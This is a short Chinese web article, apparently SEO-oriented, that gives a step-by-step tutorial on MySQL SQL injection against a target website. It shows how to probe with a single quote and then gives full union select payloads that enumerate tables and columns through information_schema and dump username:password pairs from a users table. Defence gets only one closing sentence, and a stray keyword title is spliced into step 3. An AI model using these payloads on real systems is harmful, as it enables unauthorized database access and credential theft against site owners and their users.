导读：MySQL注入是一种常见的攻击方式，可以通过恶意输入来获取数据库中的敏感信息 。本文将介绍如何使用SQL注入技术查找和获取MySQL数据库中的数据 。
1. 确认目标网站是否存在SQL注入漏洞
在浏览器中输入目标网站的URL，并在URL后面添加一个单引号（'） 。如果页面出现错误 ， 则说明该网站可能存在SQL注入漏洞 。
2. 查找数据库表名
使用union select语句，可以查找数据库中的表名 。例如： union select 1,2,table_name from information_schema.tables where table_schema=database()--
3. 查找数据库字段名
【mysql sql注入执行命令 mysql注入查数据库】使用union select语句，可以查找数据库中的字段名 。例如： union select 1,2,column_name from information_schema.columns where table_name='users'--
4. 获取数据库中的数据
使用union select语句 ， 可以获取数据库中的数据 。例如： union select 1,2,concat(username,0x3a,password) from users--
总结：MySQL注入是一种危险的攻击方式，可以轻松地获取数据库中的敏感信息 。为了保护自己的数据安全，网站管理员应该采取措施防范SQL注入攻击 。
